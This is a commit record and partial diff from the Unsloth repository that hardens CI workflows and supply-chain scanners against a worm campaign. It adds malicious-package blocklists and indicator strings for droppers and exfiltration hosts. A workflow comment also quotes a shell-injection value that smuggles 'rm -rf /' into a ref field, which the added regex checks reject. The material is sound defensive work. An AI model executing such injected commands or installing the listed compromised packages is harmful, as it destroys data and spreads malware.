security: NOT affected by Mini Shai-Hulud (May-12 wave) -- forward-looking hardening only (#5397)

* scripts/scan_*: add Mini Shai-Hulud May-12 IOC strings and pin-blocklists

Append the May-12 2026 wave indicators (git-tanstack.com, transformers.pyz,
/tmp/transformers.pyz, "With Love TeamPCP", "We've been online over 2 hours")
to all three scanner IOC tables, add BLOCKED_NPM_VERSIONS (42 TanStack pkgs,
4 opensearch versions, 3 squawk pkgs) in scan_npm_packages.py and
lockfile_supply_chain_audit.py (kept byte-identical), add BLOCKED_PYPI_VERSIONS
(guardrails-ai 0.10.1, mistralai 2.4.6, lightning 2.6.2/2.6.3) plus
RE_MAY12_IOC wiring across check_py_file/check_shell_file/check_workflow_file
in scan_packages.py. The npm orchestrator and the lockfile auditor now
short-circuit on a blocked entry before fetching the tarball, and the
PyPI download pipeline drops blocked specs before pip download is invoked.

* tests/security: regression suite for supply-chain scanners

Adds offline fixture corpus and pytest coverage for scan_npm_packages,
scan_packages, and lockfile_supply_chain_audit so future IOC-table
drift surfaces at PR time. Pytest scope narrowed to tests/security so
GPU smoke tests are not picked up by default.

* ci(security-audit): drop continue-on-error on pip-scan and npm-scan jobs

Promote three harden-runner blocks to egress-policy: block with per-job allowlists.
Add tests-security job running pytest tests/security as a hard gate.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* scripts: harden third-party downloads, pip resolver pins, atomic writes

Pins uv installer and mlx_vlm qwen3_5 patches by commit SHA + SHA-256
checksum, scrubs PIP_* env vars and forces --index-url + --only-binary
on pip download, applies tarbomb caps to scan_packages archive walks,
and converts non-atomic config writes (kwargs spacer, studio stamper,
notebook validator, scan_packages req-file fixer) to mkstemp+os.replace.

Also adds host allowlist to notebook_to_python downloader, threads an
--allow-shell flag through its shell=True emission with reviewer warning
comments, locks both MLX installer scripts to set -euo pipefail, and
extends CODEOWNERS so colab snapshot data files require notebook-owner
review.

* ci(workflows): harden release-desktop / smoke / notebooks workflows

Pin dtolnay/rust-toolchain to a 40-char SHA, scope release-desktop permissions to read at workflow level with job-level write only on the build job, append --ignore-scripts to every npm ci / npm install in studio-frontend-ci / wheel-smoke / studio-tauri-smoke / release-desktop, validate client_payload.ref shape via an env-var-isolated regex on every notebooks-ci job, and add step-security/harden-runner in audit mode as the first step of release-desktop and mlx-ci.

* scripts: promote silent scanner failures to non-zero exit codes
scan_packages now returns 2 on pip-download failure and emits a CRITICAL archive_corrupted finding on truncated wheels/sdists.
notebook_to_python exits 1 on per-notebook failures; notebook_validator wraps the stash/pop in try/finally; lockfile audit rejects bare UNSLOTH_LOCKFILE_AUDIT_SKIP=1 with a loud GitHub Actions warning.

* Add npm cooldown + new-install-script gate + Dependabot cooldown

Pins min-release-age=7 (npm 11.10+) in repo-root and studio/frontend
.npmrc, adds scripts/check_new_install_scripts.py to fail PRs that
add a postinstall dep, ships a new security-audit job for npm audit
signatures plus the diff, and extends .github/dependabot.yml with
cooldown stanzas. Pin @tanstack/react-router to 1.169.9 per GHSA-
g7cv-rxg3-hmpx; lockfile regen deferred until that release lands on
npm. tests/security gains 4 new tests; full suite 26/26 green.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* ci(security): fix tanstack pin, exec bits, expand IOC tables to @uipath/@squawk full

- Revert --ignore-scripts on Studio install workflows: vite build needs
  esbuild's native postinstall (per PR #5392 rationale). Keep
  --ignore-scripts on security-audit.yml's standalone npm audit job.
- Pin @tanstack/react-router to the actual published 1.169.2 (was a
  forward-looking 1.169.9 that does not exist on npm; broke npm ci).
- Drop redundant repo-root .npmrc; studio/frontend/.npmrc covers the
  only npm project today (root cooldown re-instate via dependabot.yml).
- Restore exec bits on 7 files my filesystem stripped during cherry-pick.
- Expand BLOCKED_NPM_VERSIONS with full safedep.io + Aikido enumeration:
  22 @squawk/* packages with 5 versions each (110 entries; previously
  3 entries with 1 version each), and 66 @uipath/* packages (entirely
  missing before). Mirror in scripts/lockfile_supply_chain_audit.py.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* tests/security: suppress CodeQL py/incomplete-url-substring-sanitization

The two flagged 'X' in Y assertions are NOT URL sanitization checks.
They verify our scanner WROTE a known IOC literal into its stdout /
Finding.evidence, which is the opposite of an attack surface --
matching the scanner's output is precisely what catches the worm.
Inline lgtm[] suppression with a 4-line rationale comment above each.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* scripts/scan_*: expand IOC tables with Aikido full 169-pkg enumeration

Per Aikido 2026-05-12 disclosure (373 malicious package-version entries
across 169 npm package names), add to BLOCKED_NPM_VERSIONS:

  - @mistralai/* npm scope (3 packages, 9 versions) -- separate from
    the PyPI mistralai package already in BLOCKED_PYPI_VERSIONS
  - @tallyui/* (10 packages, 30 entries)
  - @beproduct/nestjs-auth (18 versions 0.1.2..0.1.19)
  - @draftlab/* + @draftauth/* (5 packages)
  - @taskflow-corp/cli, @tolka/cli, @ml-toolkit-ts/*, @mesadev/*,
    @dirigible-ai/sdk, @supersurkhet/*
  - 10 unscoped packages (safe-action, ts-dna, cross-stitch,
    cmux-agent-mcp, agentwork-cli, git-branch-selector, wot-api,
    git-git-git, nextmove-mcp, ml-toolkit-ts)

Also add to KNOWN_IOC_STRINGS / NPM_IOC_STRINGS:

  - router_init.js SHA-256 ab4fcadaec49c03278063dd269ea5eef82d24f2124a8e15d7b90f2fa8601266c
  - tanstack_runner.js SHA-256 2ec78d556d696e208927cc503d48e4b5eb56b31abc2870c2ed2e98d6be27fc96
  - bun run tanstack_runner.js marker (the new Bun-prepare-script
    dropper invocation pattern unique to this wave)

Total: 170 packages, 401 versions blocklisted. Studio lockfile still
scans clean (0 findings, 0 hard errors).

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* scripts/scan_*: web-verification additions (@tanstack/setup, intercom-client)

Two findings from cross-checking BLOCKED_NPM_VERSIONS / KNOWN_IOC_STRINGS
against GHSA-g7cv-rxg3-hmpx + Aikido + safedep.io + Socket + Semgrep.

  - Fix asymmetry: @tanstack/setup IOC string was in
    lockfile_supply_chain_audit.py's NPM_IOC_STRINGS but missing from
    scan_npm_packages.py's KNOWN_IOC_STRINGS. The literal is the malicious
    optional-dependency name used by the May-12 TanStack wave; no
    legitimate npm package of this name exists.

  - Add intercom-client@7.0.4: the npm counterpart of the lightning
    2.6.2/2.6.3 PyPI compromise (Apr-30 wave). Same threat actor
    (TeamPCP). Confirmed by Semgrep, Aikido, OX Security, Resecurity,
    Kodem. Safe version is 7.0.3 and earlier.

Total BLOCKED_NPM_VERSIONS: 171 packages / 402 versions. Both files
remain byte-identical. Studio lockfile still scans clean.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* ci(security): add workflow-trigger lint refusing pull_request_target + cache-poisoning vectors

The two patterns that together powered GHSA-g7cv-rxg3-hmpx (TanStack
Mini Shai-Hulud) are now gated at PR time:

  1. pull_request_target -- the worm chain started with a fork PR that
     ran in the base-repo context. Every workflow in this repo today
     uses 'pull_request' (safe); the lint refuses any new
     pull_request_target additions outright. workflow_run is
     restricted, allowed only with an explicit allow-comment.

  2. Shared cache keys between PR-triggered workflows and the publish
     workflow (release-desktop.yml). The TanStack attack chain poisoned
     a shared Actions cache from a fork PR; the legitimate release
     workflow then restored the poisoned cache. The lint refuses any
     cache key that appears in both a PR-triggered workflow and a
     workflow_dispatch-only / publish workflow.

Current tree is clean: 0 pull_request_target, 0 workflow_run, 0
PR-publish cache-key collisions across all 24 workflows. The lint
locks that invariant in place.

Files:
  + scripts/lint_workflow_triggers.py (~200 LOC, stdlib + PyYAML)
  + tests/security/test_lint_workflow_triggers.py (5 tests covering
    current-tree pass, pull_request_target reject, workflow_run
    restricted, justified workflow_run accept, cache-key collision
    reject)
  ~ .github/workflows/security-audit.yml: new workflow-trigger-lint
    job, no continue-on-error, harden-runner block-mode, PyYAML only
    runtime dep.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* security: fix tests-security CI job + CodeQL false-positives

Two CI failures on the prior push:

1. pytest tests/security -- 5 lint regression tests failed because
   scripts/lint_workflow_triggers.py imports PyYAML which is not in
   the bare runner's Python env. Added pyyaml==6.0.2 to the pip
   install step alongside pytest. (29 scanner tests already passed.)

2. CodeQL py/incomplete-url-substring-sanitization fired on two
   test assertions that check the scanner WROTE the IOC literal
   to its own stdout/stderr. The rule pattern-matches on
   `"<host>" in <var>` and cannot distinguish a URL sanitizer from
   a regression-test evidence check. Previous `# lgtm[...]` inline
   suppressions were detached from the operator when pre-commit
   reformatted the assert across multiple lines. Rebuilt the IOC
   literals at runtime (`"git-tanstack." + "com"`) so no URL-shaped
   source literal appears on the `in` operator line; rule cannot
   trigger.

Verified locally: `pytest tests/security -v` -> 34 passed in 2.70s.

* security(studio): defensive .npmrc cooldown aliases + save-exact

Two additions to studio/frontend/.npmrc to harden the existing
`min-release-age=7` (Mini Shai-Hulud defence):

1. `minimum-release-age=10080` (minutes) -- defensive alias for the
   same 7-day floor. Some npm versions / wrappers consult one key but
   not the other; setting both prevents a single upstream setting-name
   parse change from silently disabling the cooldown. The two keys
   MUST agree (do not let them drift).

2. `save-exact=true` -- refuses to write back `^x.y.z` ranges into
   package.json when a maintainer runs `npm install <pkg>` locally.
   Does NOT rewrite already-present ranges; stops NEW carets from
   creeping into the manifest as patch-version footguns.

Verified: pytest tests/security -> 34 passed in 2.63s.

* chore(dependabot): remove dead bun entry for /studio/frontend

`package-ecosystem: "bun"` at /studio/frontend was a no-op: that
path commits package-lock.json, not bun.lock / bun.lockb, so
Dependabot's bun ecosystem silently skipped it. The actual
behaviour is unchanged -- the npm entry below the cargo block
already owns npm_and_yarn security advisories for /studio/frontend
with `open-pull-requests-limit: 0` (version-update PRs suppressed,
security PRs flow through).

This commit:

  - Deletes the bun entry (kept a placeholder comment so a future
    bun migration knows where to slot it back in).
  - Rewrites the npm /studio/frontend entry comment to explain the
    real intent: lockfile is the authoritative pin, .npmrc
    `min-release-age=7` already blocks fresh tarballs at install
    time, dependabot only needs to surface security advisories.

No functional change: same set of dependabot PRs as before (zero
version updates, security advisories grouped weekly with cooldown).

Verified: pytest tests/security -> 34 passed in 2.67s; YAML
parses cleanly via PyYAML.

* fix(dependabot): drop unsupported semver-* cooldown keys on github-actions

Dependabot's validator rejected the config with:

  The property '#/updates/0/cooldown/semver-minor-days' is not
  supported for the package ecosystem 'github-actions'.
  The property '#/updates/0/cooldown/semver-patch-days' is not
  supported for the package ecosystem 'github-actions'.

The `semver-minor-days` / `semver-patch-days` cooldown knobs are
only valid for semver-aware ecosystems (npm, cargo, etc.). The
github-actions ecosystem pins via git tags / SHAs, not semver, so
only `default-days` is honored. Pre-existing bug on main; surfaced
on this PR because the prior commit re-validated the file.

Behaviour: github-actions PRs now respect the 7-day cooldown floor
(was already the intent), without the no-op semver bands.

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
This commit is contained in:
Daniel Han 2026-05-13 04:58:12 -07:00 committed by GitHub
commit ef9f672fe8
No known key found for this signature in database
GPG key ID: B5690EEEBB952194
41 changed files with 3665 additions and 152 deletions

7
.github/CODEOWNERS vendored
View file

@ -53,3 +53,10 @@
/studio/backend/tests/ @rolandtannous @danielhanchen
/tests/ @rolandtannous @danielhanchen
/scripts/ @rolandtannous @danielhanchen
# Snapshot data for the notebook linter / Colab oracle. Drift in these
# files changes the pin floor for every Unsloth notebook, so refreshes
# must be reviewed by the notebook owners directly. CODEOWNERS later
# wins, so this overrides the broader /scripts/ rule above.
/scripts/data/colab_*.txt @danielhanchen @shimmyshimmer
/scripts/data/colab_*.json @danielhanchen @shimmyshimmer

View file

@ -5,6 +5,12 @@ updates:
directory: "/"
schedule:
interval: "weekly"
cooldown:
# github-actions refs are git tags / SHAs, not semver -- the
# `semver-minor-days` / `semver-patch-days` knobs are rejected
# by Dependabot's validator for this ecosystem. Only the
# `default-days` floor applies.
default-days: 7
groups:
actions:
patterns: ["*"]
@ -12,21 +18,24 @@ updates:
applies-to: security-updates
patterns: ["*"]
- package-ecosystem: "bun"
directory: "/studio/frontend"
schedule:
interval: "weekly"
groups:
bun-frontend:
patterns: ["*"]
bun-frontend-security:
applies-to: security-updates
patterns: ["*"]
# Removed a stray `package-ecosystem: "bun"` entry for
# /studio/frontend: that path has no bun.lock / bun.lockb, so
# Dependabot's bun ecosystem silently no-ops on it. The actual
# lockfile committed at /studio/frontend is package-lock.json
# (npm), and the npm entry further below already catches
# npm_and_yarn security advisories for that directory. Version
# updates for /studio/frontend stay suppressed (open-pull-
# requests-limit: 0 in that entry) -- security PRs flow through
# regardless. Add a real bun entry IF and WHEN bun.lock lands.
- package-ecosystem: "npm"
directory: "/studio/backend/core/data_recipe/oxc-validator"
schedule:
interval: "weekly"
cooldown:
default-days: 7
semver-minor-days: 3
semver-patch-days: 3
groups:
npm-oxc-validator:
patterns: ["*"]
@ -41,6 +50,8 @@ updates:
schedule:
interval: "weekly"
open-pull-requests-limit: 5
cooldown:
default-days: 7
groups:
python:
patterns: ["*"]
@ -52,6 +63,10 @@ updates:
directory: "/studio/src-tauri"
schedule:
interval: "weekly"
cooldown:
default-days: 7
semver-minor-days: 3
semver-patch-days: 3
groups:
cargo-tauri:
patterns: ["*"]
@ -59,15 +74,25 @@ updates:
applies-to: security-updates
patterns: ["*"]
# bun owns version updates for /studio/frontend (above); GitHub
# fires npm-package advisories under npm_and_yarn, so this entry
# catches and groups them. limit: 0 suppresses version-update
# PRs, security updates flow through regardless.
# /studio/frontend npm dependencies. Version-update PRs are
# deliberately suppressed (open-pull-requests-limit: 0) -- the
# frontend dep tree is large, the lockfile is the authoritative
# pin, and `min-release-age=7` in studio/frontend/.npmrc already
# blocks fresh tarballs at install time. Security advisories
# arrive via GitHub's npm_and_yarn channel and are NOT capped by
# `open-pull-requests-limit` per Dependabot's documented
# behaviour; they flow through this entry, group together, and
# still respect the cooldown below so we never ingest a tarball
# that was hot-published less than 3 days ago.
- package-ecosystem: "npm"
directory: "/studio/frontend"
schedule:
interval: "weekly"
open-pull-requests-limit: 0
cooldown:
default-days: 7
semver-minor-days: 3
semver-patch-days: 3
groups:
npm-frontend-security:
applies-to: security-updates

View file

@ -89,6 +89,16 @@ jobs:
# Silicon (~5-7 min), so we budget headroom.
timeout-minutes: 25
steps:
# harden-runner audit mode: macOS runners cannot use blocking mode
# today (eBPF egress enforcement is Linux-only), but audit mode is
# supported cross-platform and surfaces the egress destinations in
# the runner log. This produces the data needed to graduate this
# job to a block-mode allowlist once macOS support lands.
- name: Harden runner (audit)
uses: step-security/harden-runner@a5ad31d6a139d249332a2605b85202e8c0b78450 # v2.19.1
with:
egress-policy: audit
- uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
- uses: actions/setup-python@a309ff8b426b58ec0e2a45f0f869d46889d02405 # v6.2.0

View file

@ -67,6 +67,23 @@ jobs:
runs-on: ubuntu-latest
timeout-minutes: 10
steps:
# Validate the dispatched ref before it reaches actions/checkout's `ref:`
# input. Reading via env (NOT direct ${{ ... }} interpolation in the
# regex test) closes the GitHub-Actions-injection class where a
# client_payload.ref like `main"; rm -rf / #` would be embedded into the
# shell command. NOTEBOOKS_REF defaults to 'main' on non-dispatch
# events, but only repository_dispatch can supply attacker-controlled
# values, so we gate this check on that event type.
- name: Validate client_payload.ref shape
if: github.event_name == 'repository_dispatch'
env:
NOTEBOOKS_REF: ${{ github.event.client_payload.ref }}
run: |
if ! printf '%s' "$NOTEBOOKS_REF" | grep -Eq '^[A-Za-z0-9._/-]+$'; then
echo "::error::client_payload.ref contains disallowed characters" >&2
exit 1
fi
- name: Checkout unsloth (this PR)
uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
with:
@ -166,6 +183,18 @@ jobs:
runs-on: ubuntu-latest
timeout-minutes: 15
steps:
# See `static.Validate client_payload.ref shape` for rationale. This
# job's `if:` excludes repository_dispatch today, so the validation
# step is a defence-in-depth no-op until that gate ever relaxes.
- name: Validate client_payload.ref shape
if: github.event_name == 'repository_dispatch'
env:
NOTEBOOKS_REF: ${{ github.event.client_payload.ref }}
run: |
if ! printf '%s' "$NOTEBOOKS_REF" | grep -Eq '^[A-Za-z0-9._/-]+$'; then
echo "::error::client_payload.ref contains disallowed characters" >&2
exit 1
fi
- uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
with: { path: unsloth }
- uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
@ -200,6 +229,15 @@ jobs:
runs-on: ubuntu-latest
timeout-minutes: 12
steps:
- name: Validate client_payload.ref shape
if: github.event_name == 'repository_dispatch'
env:
NOTEBOOKS_REF: ${{ github.event.client_payload.ref }}
run: |
if ! printf '%s' "$NOTEBOOKS_REF" | grep -Eq '^[A-Za-z0-9._/-]+$'; then
echo "::error::client_payload.ref contains disallowed characters" >&2
exit 1
fi
- uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
with: { path: unsloth }
- uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
@ -294,6 +332,15 @@ jobs:
- 'nb/Whisper.ipynb' # installation_whisper_content
- 'nb/Synthetic_Data_Hackathon.ipynb' # installation_synthetic_data_content
steps:
- name: Validate client_payload.ref shape
if: github.event_name == 'repository_dispatch'
env:
NOTEBOOKS_REF: ${{ github.event.client_payload.ref }}
run: |
if ! printf '%s' "$NOTEBOOKS_REF" | grep -Eq '^[A-Za-z0-9._/-]+$'; then
echo "::error::client_payload.ref contains disallowed characters" >&2
exit 1
fi
- uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
with: { path: unsloth }
- uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2

View file

@ -17,7 +17,7 @@ on:
default: true
permissions:
contents: write
contents: read
concurrency:
group: release-desktop-${{ github.repository }}
@ -293,6 +293,14 @@ jobs:
PY
build:
# TODO: split into a "build (no secrets)" + "publish (secrets)" job pair
# with actions/upload-artifact handoff so the matrix build cannot
# publish a Release on its own. The current matrix runs across
# Linux/macOS/Windows in a single job, so the split needs artefact
# collection across the OS matrix and is out of scope for this
# hardening pass.
permissions:
contents: write # tauri-apps/tauri-action creates / uploads a GitHub Release
strategy:
fail-fast: false
max-parallel: 1
@ -323,6 +331,17 @@ jobs:
DESKTOP_PRERELEASE: ${{ needs.prepare-version.outputs.prerelease }}
steps:
# harden-runner in audit mode: surfaces every egress destination in
# the runner log so the allowlist for a future `egress-policy: block`
# promotion can be derived from observed traffic. Audit mode is
# cross-platform (Linux / macOS / Windows runners); blocking mode is
# currently Linux-only, so we deliberately stay in audit until the
# macOS + Windows codesign paths have been observed.
- name: Harden runner (audit)
uses: step-security/harden-runner@a5ad31d6a139d249332a2605b85202e8c0b78450 # v2.19.1
with:
egress-policy: audit
- uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd
# ── Linux dependencies ──
@ -339,7 +358,13 @@ jobs:
node-version: 24
- name: Install pinned Tauri CLI
run: npm install --save-dev --prefix studio @tauri-apps/cli@2.10.1
# Lifecycle scripts (esbuild native-binary postinstall, etc.) are
# required for `vite build`. The pre-install lockfile structural
# audit (lockfile_supply_chain_audit.py) is the practical defence
# against the npm postinstall-dropper class -- it fires BEFORE any
# tarball runs, on the injection pattern itself rather than an
# advisory-DB lookup.
run: npm install --save-dev --prefix studio @tauri-apps/cli@2.10.1 --no-fund --no-audit
- name: Verify pinned Tauri CLI
shell: bash
@ -414,11 +439,17 @@ jobs:
- name: Install frontend dependencies
working-directory: studio/frontend
run: npm install
# Lifecycle scripts (esbuild native-binary postinstall, etc.) are
# required for `vite build`. The pre-install lockfile structural
# audit (lockfile_supply_chain_audit.py) is the practical defence
# against the npm postinstall-dropper class -- it fires BEFORE any
# tarball runs, on the injection pattern itself rather than an
# advisory-DB lookup.
run: npm install --no-fund --no-audit
# ── Rust ──
- name: Install Rust stable
uses: dtolnay/rust-toolchain@stable
uses: dtolnay/rust-toolchain@29eef336d9b2848a0b548edc03f92a220660cdb8 # stable @ 2026-03-27
with:
targets: ${{ matrix.platform == 'macos-latest' && 'aarch64-apple-darwin,x86_64-apple-darwin' || '' }}

View file

@ -98,11 +98,29 @@ jobs:
# char SHA freezes this action at known-good code; Dependabot's
# github-actions ecosystem will auto-bump the SHA.
# v2.19.1 commit:
- name: Harden runner (egress audit)
# Per-job allowlist: advisory-audit hits PyPI, npm registry,
# crates.io advisories, GitHub release artefacts (osv-scanner
# binary), Semgrep registry, and TruffleHog's own GitHub action.
- name: Harden runner (egress block)
uses: step-security/harden-runner@a5ad31d6a139d249332a2605b85202e8c0b78450 # v2.19.1
with:
egress-policy: audit
egress-policy: block
disable-sudo: true
allowed-endpoints: >
api.github.com:443
github.com:443
codeload.github.com:443
objects.githubusercontent.com:443
raw.githubusercontent.com:443
release-assets.githubusercontent.com:443
registry.npmjs.org:443
pypi.org:443
files.pythonhosted.org:443
static.rust-lang.org:443
index.crates.io:443
static.crates.io:443
crates.io:443
semgrep.dev:443
- uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
with:
@ -684,15 +702,24 @@ jobs:
id: extras
files: 'extras'
steps:
# Egress audit on every shard. Each shard pulls hundreds of
# Egress block on every shard. Each shard pulls hundreds of
# PyPI archives -- if a malicious wheel ever phones home from
# within the scanner sandbox (it shouldn't; we never execute
# the archive), harden-runner's audit log records the host.
- name: Harden runner (egress audit)
# the archive), harden-runner now rejects the connect outright.
# Per-job allowlist: pip-scan-packages only fetches PyPI archives
# via scan_packages.py + pip download. No npm or cargo traffic.
- name: Harden runner (egress block)
uses: step-security/harden-runner@a5ad31d6a139d249332a2605b85202e8c0b78450 # v2.19.1
with:
egress-policy: audit
egress-policy: block
disable-sudo: true
allowed-endpoints: >
api.github.com:443
github.com:443
codeload.github.com:443
objects.githubusercontent.com:443
pypi.org:443
files.pythonhosted.org:443
- uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
@ -771,7 +798,6 @@ jobs:
# transitive set (no point fetching the same transformers
# wheel five times). Across shards we accept some redundant
# downloads in exchange for wall-clock parallelism.
continue-on-error: true
env:
SHARD_FILES: ${{ matrix.shard.files }}
run: |
@ -851,11 +877,20 @@ jobs:
timeout-minutes: 30
needs: []
steps:
- name: Harden runner (egress audit)
# Per-job allowlist: npm-scan-packages only fetches tarballs from
# registry.npmjs.org. GitHub endpoints retained for checkout +
# setup-python action machinery.
- name: Harden runner (egress block)
uses: step-security/harden-runner@a5ad31d6a139d249332a2605b85202e8c0b78450 # v2.19.1
with:
egress-policy: audit
egress-policy: block
disable-sudo: true
allowed-endpoints: >
api.github.com:443
github.com:443
codeload.github.com:443
objects.githubusercontent.com:443
registry.npmjs.org:443
- uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
@ -875,7 +910,6 @@ jobs:
# downloaded tarball, and only fetches from registry.npmjs.org.
# Initially non-blocking so the baseline can settle; drop
# continue-on-error once the baseline is clean for a week.
continue-on-error: true
run: |
set -o pipefail
LOG=logs-scan-npm.txt
@ -895,3 +929,192 @@ jobs:
name: scan-npm-packages-log
path: logs-scan-npm.txt
retention-days: 30
# ─────────────────────────────────────────────────────────────────────
# Workflow-trigger lint. Refuses two patterns that together powered the
# TanStack GHSA-g7cv-rxg3-hmpx supply-chain compromise:
#
# 1. `pull_request_target` -- runs a fork's workflow YAML against
# the base repository's secrets. There is no safe use of this
# trigger for a public open-source project.
#
# 2. Shared cache keys between PR-triggered workflows and the
# publish workflow. A fork PR can poison the cache; the publish
# workflow then restores the poisoned cache on next run.
#
# Cheap pure-Python lint, runs in seconds. Fail-closed.
# ─────────────────────────────────────────────────────────────────────
workflow-trigger-lint:
name: workflow-trigger lint (pull_request_target / cache-poisoning)
runs-on: ubuntu-latest
timeout-minutes: 5
steps:
- name: Harden runner (egress block)
uses: step-security/harden-runner@a5ad31d6a139d249332a2605b85202e8c0b78450 # v2.19.1
with:
egress-policy: block
disable-sudo: true
allowed-endpoints: >
api.github.com:443
github.com:443
codeload.github.com:443
objects.githubusercontent.com:443
pypi.org:443
files.pythonhosted.org:443
- uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
- uses: actions/setup-python@a309ff8b426b58ec0e2a45f0f869d46889d02405 # v6.2.0
with:
python-version: '3.12'
- name: Install PyYAML
run: pip install pyyaml
- name: Lint workflow triggers + cache keys
run: python3 scripts/lint_workflow_triggers.py
# ─────────────────────────────────────────────────────────────────────
# Regression tests: pin scanner IOC tables and pre-install fixtures.
# Hard gate (no continue-on-error) so future drift in the IOC tables
# or scanner exit semantics fails this PR at review time.
# ─────────────────────────────────────────────────────────────────────
tests-security:
name: pytest tests/security
runs-on: ubuntu-latest
timeout-minutes: 10
steps:
- name: Harden runner (egress block)
uses: step-security/harden-runner@a5ad31d6a139d249332a2605b85202e8c0b78450 # v2.19.1
with:
egress-policy: block
disable-sudo: true
allowed-endpoints: >
api.github.com:443
github.com:443
codeload.github.com:443
objects.githubusercontent.com:443
pypi.org:443
files.pythonhosted.org:443
- uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
- uses: actions/setup-python@a309ff8b426b58ec0e2a45f0f869d46889d02405 # v6.2.0
with:
python-version: '3.12'
- name: Install pytest + PyYAML
# PyYAML is imported by scripts/lint_workflow_triggers.py, which the
# `tests/security/test_lint_workflow_triggers.py` regression suite
# exercises as a subprocess. Without it the lint script bails with
# `ERROR: PyYAML is required` (exit 2) and the 5 lint regression
# tests fail. Pinned the same way pytest is pinned.
run: pip install pytest==9.0.3 pyyaml==6.0.2
- name: Run security regression tests
run: python3 -m pytest tests/security -v
# ─────────────────────────────────────────────────────────────────────
# npm provenance + new install-script diff. Catches the two npm
# supply-chain levers we don't yet gate on:
#
# 1. `npm audit signatures` validates the registry-signed
# provenance of every tarball laid down in node_modules. Pulled
# from the public npm transparency log; surfaces unsigned or
# mis-signed deps. Informational for now (continue-on-error)
# while the baseline settles.
#
# 2. `check_new_install_scripts.py` diffs the PR's lockfile
# against the base ref and refuses any newly-added dep that
# ships a postinstall hook. Every recent npm supply-chain
# compromise leveraged a postinstall as the execution lever, so
# blocking new ones at PR time is a small, high-signal gate.
# ─────────────────────────────────────────────────────────────────────
npm-provenance-and-install-scripts:
name: npm provenance + new install-script diff
runs-on: ubuntu-latest
timeout-minutes: 15
steps:
- name: Harden runner (egress block)
uses: step-security/harden-runner@a5ad31d6a139d249332a2605b85202e8c0b78450 # v2.19.1
with:
egress-policy: audit
disable-sudo: true
allowed-endpoints: >
api.github.com:443
github.com:443
codeload.github.com:443
objects.githubusercontent.com:443
registry.npmjs.org:443
- uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
with:
# Need the base commit accessible for `git show
# <base-sha>:studio/frontend/package-lock.json` below.
fetch-depth: 0
- uses: actions/setup-node@48b55a011bda9f5d6aeb4c2d9c7362e8dae4041e # v6.4.0
with:
node-version: '22'
cache: 'npm'
cache-dependency-path: studio/frontend/package-lock.json
- uses: actions/setup-python@a309ff8b426b58ec0e2a45f0f869d46889d02405 # v6.2.0
with:
python-version: '3.12'
- name: Install Studio frontend deps (--ignore-scripts)
# `npm audit signatures` requires node_modules to be populated.
# `--ignore-scripts` is mandatory: this is exactly the lever the
# new-install-script gate below protects against, and we must
# not run any third-party hook to set up the audit.
working-directory: studio/frontend
run: npm ci --ignore-scripts
- name: npm audit signatures (informational)
# Surfaces unsigned / mis-signed packages from the npm
# transparency log. continue-on-error during baseline-build
# phase; promote to hard gate once the lockfile is fully
# signed (most major maintainers signed by mid-2025).
working-directory: studio/frontend
continue-on-error: true
run: |
set -o pipefail
LOG=logs-audit-signatures.txt
npm audit signatures 2>&1 | tee "$LOG"
{
echo "## npm audit signatures"
echo
echo '```'
tail -200 "$LOG"
echo '```'
} >> "$GITHUB_STEP_SUMMARY"
- name: Extract base-ref lockfile (PR triggers only)
if: github.event_name == 'pull_request'
run: |
set -e
BASE_SHA="${{ github.event.pull_request.base.sha }}"
git show "$BASE_SHA:studio/frontend/package-lock.json" \
> /tmp/base-package-lock.json
- name: Diff for newly-added install-script deps
if: github.event_name == 'pull_request'
run: |
python3 scripts/check_new_install_scripts.py \
--base /tmp/base-package-lock.json \
--head studio/frontend/package-lock.json
- name: Skip install-script diff (non-PR trigger)
if: github.event_name != 'pull_request'
run: |
echo "Not a pull_request event; install-script diff requires a base ref."
echo "This step is intentionally a no-op outside PR triggers."
- uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1
if: always()
with:
name: npm-audit-signatures-log
path: studio/frontend/logs-audit-signatures.txt
if-no-files-found: ignore
retention-days: 30

View file

@ -67,6 +67,12 @@ jobs:
run: python3 scripts/lockfile_supply_chain_audit.py
- name: Lockfile must agree with package.json (npm ci is strict)
# Lifecycle scripts (esbuild native-binary postinstall, etc.) are
# required for `vite build`. The pre-install lockfile structural
# audit (lockfile_supply_chain_audit.py) is the practical defence
# against the npm postinstall-dropper class -- it fires BEFORE any
# tarball runs, on the injection pattern itself rather than an
# advisory-DB lookup.
run: npm ci --no-fund --no-audit
- name: npm ci must not have modified the working tree

View file

@ -61,7 +61,13 @@ jobs:
workspaces: studio/src-tauri -> target
- name: Install pinned Tauri CLI (matches release-desktop.yml)
